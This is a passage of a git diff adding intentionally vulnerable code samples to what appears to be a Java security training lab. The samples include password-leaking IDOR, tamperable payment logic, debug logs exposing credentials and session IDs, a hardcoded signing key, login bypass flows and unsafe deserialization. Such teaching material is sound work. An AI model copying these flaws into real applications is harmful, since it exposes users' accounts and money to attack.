\"/vul/logic/idor/admin\";\n" + +const vulHorizon = "public R vul(String username){\n" + + " User user = userMapper.getAllByUsername(username);\n" + + " if (user!=null){\n" + + " return R.ok(\"用户名:\"+user.getUsername()+\" 密码:\"+user.getPassword());\n" + + " }else return R.error(\"用户名不存在\");\n" + "}" const safeHorizon = "public R safe(String username){\n" + " // 获取当前登录的用户名\n" + @@ -1076,7 +1303,121 @@ const safeHorizon = "public R safe(String username){\n" + "}" // 支付漏洞 +const vul1Pay = "public R vul1(@RequestParam String count, @RequestParam String price) {\n" + + " try {\n" + + " double totalPrice = Integer.parseInt(count) * Double.parseDouble(price);\n" + + " log.info(\"用户需支付金额:\" + totalPrice);\n" + + " \n" + + " // 直接使用客户端传入的价格,未与服务端商品实际价格进行校验\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(totalPrice)) < 0) {\n" + + " return R.error(\"支付金额不足,支付失败!\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalPrice)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + " } catch (Exception e) {\n" + + " return R.error(e.toString());\n" + + " }\n" + + "}"; + +const vul2Pay = "public R vul2(@RequestParam String orderId, @RequestParam double amount) {\n" + + " // 未检查订单是否已支付\n" + + " // 这里应该使用paymentStatusMap检查订单是否已支付,但为了演示漏洞,故意不检查\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) {\n" + + " return R.error(\"余额不足\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + "}"; +const vul3Pay = "public R vul3(@RequestParam String orderId, @RequestParam double amount) {\n" + + " // 模拟处理延迟\n" + + " try {\n" + + " Thread.sleep(1000);\n" + + " } catch (InterruptedException e) {\n" + + " Thread.currentThread().interrupt();\n" + + " }\n" + + "\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) {\n" + + " return R.error(\"余额不足\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + "}"; + +const vul4Pay = "@ApiOperation(\"支付流程绕过漏洞 - 创建订单\")\n" + + "@RequestMapping(\"/vul4/create\")\n" + + "public R createOrder(@RequestParam String orderId, @RequestParam double amount) {\n" + + " OrderStatus status = new OrderStatus(orderId, BigDecimal.valueOf(amount));\n" + + " orderStatusMap.put(orderId, status);\n" + + " Map data = new HashMap<>();\n" + + " data.put(\"orderId\", orderId);\n" + + " data.put(\"amount\", amount);\n" + + " return R.ok(\"订单创建成功\").put(\"data\", data);\n" + + "}\n" + + "\n" + + "@ApiOperation(\"支付流程绕过漏洞 - 查询订单状态\")\n" + + "@RequestMapping(\"/vul4/status\")\n" + + "public R getOrderStatus(@RequestParam String orderId) {\n" + + " OrderStatus status = orderStatusMap.get(orderId);\n" + + " if (status == null) {\n" + + " return R.error(\"订单不存在\");\n" + + " }\n" + + " Map data = new HashMap<>();\n" + + " data.put(\"orderId\", status.orderId);\n" + + " data.put(\"amount\", status.amount);\n" + + " data.put(\"isPaid\", status.isPaid);\n" + + " return R.ok().put(\"data\", data);\n" + + "}\n" + + "\n" + + "@ApiOperation(\"支付流程绕过漏洞 - 支付通知\")\n" + + "@RequestMapping(\"/vul4/notify\")\n" + + "public R paymentNotify(@RequestParam String orderId, @RequestParam boolean success) {\n" + + " // 未验证通知来源,直接更新订单状态\n" + + " OrderStatus status = orderStatusMap.get(orderId);\n" + + " if (status == null) {\n" + + " return R.error(\"订单不存在\");\n" + + " }\n" + + " status.isPaid = success;\n" + + " return R.ok(\"状态更新成功\");\n" + + "}"; +const vul5Pay = "public R integerOverflow(@RequestParam String count, @RequestParam String price) {\n" + + " try {\n" + + " Integer countValue = Integer.valueOf(count);\n" + + " Integer priceValue = Integer.valueOf(price);\n" + + "\n" + + " // 整数溢出场景:当 count 或 price 数值过大时,可能会导致溢出\n" + + " int totalAmount = countValue * priceValue;\n" + + " log.info(\"用户需支付金额:\" + totalAmount);\n" + + "\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(BigDecimal.valueOf(totalAmount)) < 0) {\n" + + " return R.error(\"支付金额不足,支付失败!\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalAmount)));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + " } catch (Exception e) {\n" + + " return R.error(\"无效的输入,请输入有效的数量和价格!\");\n" + + " }\n" + + "}"; +const vul6Pay = "public R floatingPointPrecision(@RequestParam String count, @RequestParam String price) {\n" + + " try {\n" + + " // 使用BigDecimal处理金额计算,避免浮点数精度问题\n" + + " BigDecimal amountValue = new BigDecimal(price).multiply(new BigDecimal(count));\n" + + " log.info(\"用户需支付金额:\" + amountValue);\n" + + "\n" + + " BigDecimal currentMoney = userMoney.get();\n" + + " if (currentMoney.compareTo(amountValue) < 0) {\n" + + " return R.error(\"支付金额不足,支付失败!\");\n" + + " }\n" + + " userMoney.set(currentMoney.subtract(amountValue));\n" + + " return R.ok(\"支付成功!剩余余额:\" + userMoney.get());\n" + + " } catch (Exception e) {\n" + + " return R.error(\"无效的输入,请输入有效的数量和价格!\");\n" + + " }\n" + + "}"; // 其他漏洞 const vul1SpringMvcRedirect = "// 基于Spring MVC的重定向方式\n" + @@ -1381,6 +1722,49 @@ const infoLeakJs = "var r = new i({\n" + " data: {path: \"https://official-website-1305887643.cos.ap-beijing.myqcloud.com/\".concat(o)}\n" + " })\n" + "})"; +const infoLeakBackUp = "root@MacBook ~/www/JavaSecLab tree -L 4 -h -t\n" + + "[ 320] .\n" + + "├── [ 76] deploy.sh\n" + + "├── [ 281] Dockerfile\n" + + "├── [ 818] docker-compose.yml\n" + + "├── [ 11K] LICENSE\n" + + "├── [5.7K] pom.xml\n" + + "├── [ 96] sql\n" + + "│   └── [2.9K] JavaSecLab.sql\n" + + "└── [ 128] src\n" + + " └── [ 128] main\n" + + " ├── [ 96] java\n" + + " │   └── [ 96] top\n" + + " └── [ 320] resources\n" + + " ├── [ 273] banner.txt\n" + + " ├── [ 427] application-docker.yml\n" + + " ├── [9.4K] logback-spring.xml\n" + + " ├── [ 421] application-dev.yml\n" + + " ├── [ 420] application-prod.yml\n" + + " ├── [1.2K] application.yml\n" + + " └── [ 160] mapper\n" + + "\n" + + "8 directories, 12 files" +const infoLeakLog = "// 开启了调试模式,打印了sql执行记录 并且输出了SessionId\n" + + "JDBC Connection [com.alibaba.druid.proxy.jdbc.ConnectionProxyImpl@784bb5e2] will not be managed by Spring\n" + + "==> Preparing: SELECT username,password FROM user WHERE (username = ?)\n" + + "==> Parameters: admin(String)\n" + + "2024-11-18 16:24:18 DEBUG Statement:136 - {conn-10006, pstmt-20183} Parameters : [admin]\n" + + "2024-11-18 16:24:18 DEBUG Statement:136 - {conn-10006, pstmt-20183} Types : [VARCHAR]\n" + + "2024-11-18 16:24:18 DEBUG Statement:136 - {conn-10006, pstmt-20183} executed. 2.459148 millis. SELECT username,password FROM user \n" + + " \n" + + " WHERE (username = ?)\n" + + "2024-11-18 16:24:18 DEBUG ResultSet:141 - {conn-10006, pstmt-20183, rs-50764} open\n" + + "2024-11-18 16:24:18 DEBUG ResultSet:141 - {conn-10006, pstmt-20183, rs-50764} Header: [username, password]\n" + + "2024-11-18 16:24:18 DEBUG ResultSet:141 - {conn-10006, pstmt-20183, rs-50764} Result: [admin, admin]\n" + + "<== Columns: username, password\n" + + "<== Row: admin, admin\n" + + "<== Total: 1\n" + + "Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@23f938fe]\n" + + "2024-11-18 16:24:18.822 INFO 1 --- [-nio-80-exec-41] RequestAwareAuthenticationSuccessHandler : 用户名:admin,于2024-11-18 16:24:18 成功登录系统 IP:123.118.108.249 session:WebAuthenticationDetails [RemoteIpAddress=123.118.108.249, SessionId=0170B66882476E34F35BC232051F63E0]\n" + + "2024-11-18 16:24:32.737 INFO 1 --- [-nio-80-exec-41] t.w.m.system.controller.LoginController : session id E3C352C378552D29E10BDF42647B6864, 生成的验证码 o1kY\n" + + "2024-11-18 16:24:44.127 INFO 1 --- [-nio-80-exec-34] t.w.m.system.controller.LoginController : session id E3C352C378552D29E10BDF42647B6864, 生成的验证码 7Cwn" + const springBootSwagger = "return new Docket(DocumentationType.OAS_30)\n" + " .pathMapping(\"/\")\n" + " .enable(swaggerProperties.getEnable())//生产禁用\n" + @@ -1523,6 +1907,110 @@ const infoLeakCeShi = "public String ping(String ip, Model model) {\n" + " ...\n" + "}\n"; +// 登录对抗 +const vul1Account = "public class CustomUserDetailsService implements UserDetailsService {\n" + + " @Autowired\n" + + " private UserService userService;\n" + + "\t\n" + + " @Override\n" + + " public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {\n" + + " User sysUser = userService.getOne(Wrappers.query().lambda().eq(User::getUsername, username));\n" + + " if (ObjectUtil.isNull(sysUser)) {\n" + + " throw new UsernameNotFoundException(\"用户不存在\");\n" + + " // 安全写法:统一返回模糊错误信息\n" + + "\t\t// throw new UsernameNotFoundException(\"用户或密码错误\");\n" + + " }\n" + + "\n" + + " // 用户存在,直接返回 UserDetails 对象,不处理角色信息\n" + + " return new org.springframework.security.core.userdetails.User(sysUser.getUsername(), sysUser.getPassword(), new ArrayList<>());\n" + + " }\n" + + "}" +const vul2Account = "public R vul2(String username, String password) {\n" + + "\t\n" + + "\t// 这里简单模拟下数据库查询操作\n" + + "\t// User user = UserService.getAllByUsernameAndPassword(username,password)\n" + + "\tif (\"admin\".equalsIgnoreCase(username) && \"admin\".equalsIgnoreCase(password)) {\n" + + "\t\treturn R.ok(\"登录成功!用户名:\" + username + \", 密码:\" + password);\n" + + "\t} else {\n" + + "\t\treturn R.ok(\"账号或密码错误!\");\n" + + "\t}\n" + + "}" + +const vul1Bypass = "$.ajax({\n" + + "type: 'POST',\n" + + "url: '/loginconfront/bypass/vul1step1',\n" + + "data: data.field,\n" + + "success: function (response) {\n" + + "\t// 步骤一账号校验通过后,模拟进行下一步校验\n" + + " if (response.code === 0) {\n" + + " $(\"#vul1-bypass-result\").text(response.msg);\n" + + " setTimeout(() => {\n" + + " $.ajax({\n" + + " type: 'POST',\n" + + " url: '/loginconfront/bypass/vul1step2',\n" + + " data: {code: response.code},\n" + + " ..." +const vul2Bypass = "// step1:验证用户名并切换到步骤2\n" + + "$('#next1').on('click', function () {\n" + + " $.post('/loginconfront/bypass/step1', { username: username }, function (res) {\n" + + " if (res.code === 0) currentStep = 2;\n" + + " });\n" + + "});\n" + + "\n" + + "// step2:验证旧密码并切换到步骤3\n" + + "$('#next2').on('click', function () {\n" + + " $.post('/loginconfront/bypass/step2', { oldPassword: oldPassword }, function (res) {\n" + + " if (res.code === 0) currentStep = 3;\n" + + " });\n" + + "});\n" + + "\n" + + "// step3:提交新密码\n" + + "$('#reset-password-form').on('submit', function (e) {\n" + + " $.post('/loginconfront/bypass/step3', { newPassword: newPassword });\n" + + "});" +const vul1Reverse = "// 与服务端密钥一致 用于生产签名Sign\n" + + "const key = \"FF38DC304A1D74B19F24A36C09FD6B72\";\n" + + "function generateSign(params) {\n" + + " const query = Object.keys(params)\n" + + " .sort()\n" + + " .map(k => `${k}=${params[k]}`)\n" + + " .join(\"&\");\n" + + " // 使用 MD5 加密生成签名\n" + + " return md5(query + key);\n" + + "}\n" + + "const params = {\n" + + " username: data.field.username,\n" + + " password: data.field.password,\n" + + " timestamp: Date.now(),\n" + + "};\n" + + "const sign = generateSign(params);\n" + + "\n" + + "{\"username\":\"admin\",\"password\":\"123456\",\"timestamp\":1732373468477,\"sign\":\"1a56f2b3de87c435be816341d9bcf6fe\"}" +const vul2Reverse = "const publicKey = `-----BEGIN PUBLIC KEY-----\n" + + "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx6Iq6tBvjNHqczQmJJAo\n" + + "otsBfKM/9yJCuTV87ZlI0Y1EFG65Jo89aLHW7BqBUJepcKC9kcA5PJaWSF5BYElt\n" + + "Y2NPnIfGkHamKeFywWh4aYy66MlBqr91Fw0Wyx8PQlp0CJKfiPEQmzwUobpimAvK\n" + + "...\n" + + "-----END PUBLIC KEY-----\n" + + "`;\n" + + "\n" + + "const encryptField = (field) => {\n" + + " const encryptor = new JSEncrypt();\n" + + " encryptor.setPublicKey(publicKey);\n" + + " return encryptor.encrypt(field);\n" + + "};\n" + + "\n" + + "const encryptedUsername = encryptField(data.field.username);\n" + + "const encryptedPassword = encryptField(data.field.password);\n" + + "\n" + + "{\"encryptedUsername\":\"iDF5BNv1zaM0V9qog0qzlUES3sCGYqmvrKiqPIvUgP5qE0pYn9XN3btW3PbRwLuySeruK2i8lem+L67w5+fFQBuRrpettLrHl8izIRp2W+nq9o9Kg/LSa3/+JynFoUHxrvQ2taNM1nustROpkBjJMbTOK52S6ZBa0quMw+wjfR1XExlzc99U1WJQfRAqj7Gsl9EPydRIh8vs4S/Nen5kf/dL3ZikfMbCUUBonRlYy6a3nWJ412P+hxRbSl80Z8aQKw9lH4+Iju80oFmQ6DuS6Ce70h88z/Va+xzXHDzM8w6h5iqQLzq3Kj/E+b/wsn6eM7v+LEC8LwLQ/t8z8tki9g==\",\n" + + "\"encryptedPassword\":\"nDI0/PBwsFHnRRw7Z4gHZ6G8Uaq7BUjUxnTDw7bkR9nrTkoHfcDLKUddj2JS7WWbOyuwsUFce3/tXJYQWNMFQqGRtf6jXxFAlvTvBkRdsZXOIU+Abb4EqYw670xd5UTeAQ0lI5KNXtw6e/VbnXyX+STJdN2SO7FLbvZ4sM6gLQSVWLo/+pZsYxKlEUNxew2svlzDZtqKnyF12bzakWfzaWuovLnYCCEXV1oAJCErjgfoOS2wJADdgU0wE6KlFDMNjsCvONmO6KZpmJQ1GOq3MpyqySq8eyJkYG3cDSRo5nDo2YOcevOHifzMnKbrU9gh4/RUj8sxrykdqgLmzX3rhw==\"}" + +const vul1Credential = "vul1Credential" + +const vul2Credential = "vul2Credential" + + // java专题 SPEL注入 const spelVul = "public R vul(String ex) {\n" + " // 创建SpEL解析器,ExpressionParser接口用于表示解析器,SpelExpressionParser为默认实现\n" + @@ -1556,7 +2044,7 @@ const spelSafe = "public R safe(String ex) {\n" + const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n" + " // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞\n" + - " return \"/vul/ssti/\" + para;\n" + + " return \"vul/ssti/\" + para;\n" + "}\n" + "\n" + "public void vul2(@PathVariable String path) {\n" + @@ -1719,7 +2207,7 @@ const safeFastjson = "public String safe(@RequestBody String content) {\n" + " // 2、使用AutoType白名单机制\n" + "// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);\n" + "// ParserConfig.getGlobalInstance().addAccept(\"top.whgojp.WhiteListClass\");\n" + - " // 3、1.2.68之后的版本,Fastjson真家里safeMode的支持\n" + + " // 3、1.2.68之后的版本,Fastjson增加了safeMode的支持\n" + "// ParserConfig.getGlobalInstance().setSafeMode(true);\n" + "// JSONObject jsonObject = JSON.parseObject(content, Feature.DisableSpecialKeyDetect);\n" + " JSONObject jsonObject = JSON.parseObject(content);\n" + @@ -1832,3 +2320,21 @@ const vulShiro = "public R getShiroKey(){\n" + " shiro-spring\n" + " 1.2.4\n" + "" +const JdbcDeserial = "public R vul() {\n" + + " ...\n" + + " Connection conn = DriverManager.getConnection(url, username, password);\n" + + " String selectQuery = \"SELECT malicious_object FROM objects WHERE id = 1\";\n" + + " Statement stmt = conn.createStatement();\n" + + " ResultSet rs = stmt.executeQuery(selectQuery);\n" + + "\n" + + " if (rs.next()) {\n" + + " // 查询并获取恶意对象的字节数据\n" + + " byte[] maliciousObjectBytes = rs.getBytes(\"malicious_object\");\n" + + " // 反序列化恶意对象\n" + + " ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(maliciousObjectBytes);\n" + + " ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);\n" + + "\n" + + " // 触发反序列化漏洞\n" + + " MaliciousObject maliciousObject = (MaliciousObject) objectInputStream.readObject();\n" + + " }\n" + + " ..." diff --git a/src/main/resources/static/lib/custom-icon/demo.css b/src/main/resources/static/lib/custom-icon/demo.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/custom-icon/demo_index.html b/src/main/resources/static/lib/custom-icon/demo_index.html old mode 100644 new mode 100755 index ec2a598..d51334c --- a/src/main/resources/static/lib/custom-icon/demo_index.html +++ b/src/main/resources/static/lib/custom-icon/demo_index.html @@ -54,6 +54,84 @@